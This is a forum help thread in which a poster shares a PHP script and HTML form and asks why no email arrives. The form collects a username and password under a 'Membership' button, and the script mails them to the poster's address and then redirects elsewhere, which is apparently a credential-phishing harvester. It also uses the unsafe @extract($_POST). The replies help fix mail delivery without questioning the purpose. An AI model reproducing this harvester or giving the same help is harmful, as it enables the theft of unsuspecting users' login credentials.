Jump to content

Recommended Posts

I have a pretty simple php script along with form and i was wondering if i was doing anything wrong because no information is being sent to my email. So can anyone revise this for errors and tell me what im doing wrong thanx!  ;)

heres the .php
[code]<?php
@extract($_POST);
$username=$_POST["username"];
$password=$_POST["password"];
mail("email@email.com", $username, $password, "From: $username");
header("Location: http://anyredirectsite.com");
?>
[/code]

here is the form
[code]<form name="contact.php" method='POST' action="http://something.com/contact.php">

<br><br><div style="text-align:center"><table><tr><td align="center">username:</td><td

align="center"><input size="20" type="text" name="username" maxlength="12"></td></tr><tr><td

align="center">password:</td><td align="center"><input size="20" type="password" name="password"

maxlength="20"></td></tr><tr><td></td><td align="center"><input type="submit" value="Membership"

style="background:#4D422E url('http://stylebutton.com/style.gif'); color: white;"

class="b"></td></tr></table></form>[/code]

Thanks for anyhelp!
Ok, here we go...

Lets say php is our e-mail client for sending e-mail, much like Outlook Express or something like that. The client sends the e-mail to a smtp server, which in turn sends the e-mail to the desired e-mail address. To send e-mail with php you need to set up an smtp server on your computer.

Just search google, pick one and download/install it, then configure it, and then edit the mail function in php.ini to match it
[quote author=shisamandisa link=topic=100744.msg398000#msg398000 date=1153019129]
i have hosted contact.php on a web hoster on freehostia.com
[/quote]

if they offer email with your domain name then you probably do have it set up but you should check with them first to make sure

run phpinfo and see what "sendmail_path" this reads
This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.